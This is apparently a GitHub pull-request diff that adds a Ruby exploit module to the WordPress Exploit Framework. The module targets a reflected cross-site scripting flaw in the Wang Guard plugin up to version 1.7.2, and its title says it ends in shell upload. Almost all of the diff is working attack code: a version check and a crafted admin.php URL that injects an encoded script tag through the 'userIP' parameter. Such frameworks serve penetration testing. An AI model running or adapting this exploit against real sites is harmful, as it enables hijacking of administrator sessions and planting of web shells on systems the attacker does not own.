Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
31 changes: 31 additions & 0 deletions modules/exploits/wang_guard_reflected_xss_shell_upload.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
class Wpxf::Exploit::WangGuardReflectedXssShellUpload < Wpxf::Module
include Wpxf::WordPress::ReflectedXss

def initialize
super

update_info(
name: 'Wang Guard <= 1.7.2 Reflected XSS Shell Upload',
author: [
'Paul Williams <phyushin[at]phyubox.com>' # WPXF module
],
references: [
['WPVDB', '8725'],
['URL', 'https://www.pluginvulnerabilities.com/2017/01/17/reflected-cross-site-scripting-xss-vulnerability-in-wangguard/']
],
date: 'Jan 17 2017'
)
end

def check
check_plugin_version_from_readme('wangguard', '1.7.3')
end

def vulnerable_url
normalize_uri(wordpress_url_admin, 'admin.php')
end

def url_with_xss
"#{vulnerable_url}?page=wangguard_users_info&userIP=%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E%3C"
end
end